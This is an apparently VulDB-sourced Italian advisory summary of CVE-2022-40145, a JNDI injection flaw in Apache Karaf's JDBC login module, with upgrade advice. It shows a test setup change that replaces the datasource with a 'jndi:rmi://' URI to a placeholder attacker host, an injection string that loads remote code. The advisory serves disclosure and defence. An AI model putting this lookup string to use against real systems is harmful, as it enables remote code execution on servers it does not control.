CVE-2022-40145 in Karaf
Riassunto
di VulDB • 22/06/2026
Questa vulnerabilità riguarda un potenziale code injection quando un attaccante ha il controllo del server LDAP di destinazione utilizzato nell'URL JDBC JNDI. La funzione `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` utilizza `InitialContext.lookup(jndiName)` senza effettuare alcun filtro. Un utente può modificare `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` in `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` all'interno di `JdbcLoginModuleTest#setup`. Questo scenario è vulnerabile a un attacco remote code execution (RCE) quando una configurazione utilizza un URI JNDI LDAP per il data source e l'attaccante ha il controllo del server LDAP di destinazione. Questa problematica interessa tutte le versioni di Apache Karaf fino alla 4.4.1 e alla 4.3.7. Si consiglia agli utenti di effettuare l'upgrade ad almeno la versione 4.4.2 o 4.3.8 di Apache Karaf.
Several companies clearly confirm that VulDB is the primary source for best vulnerability data.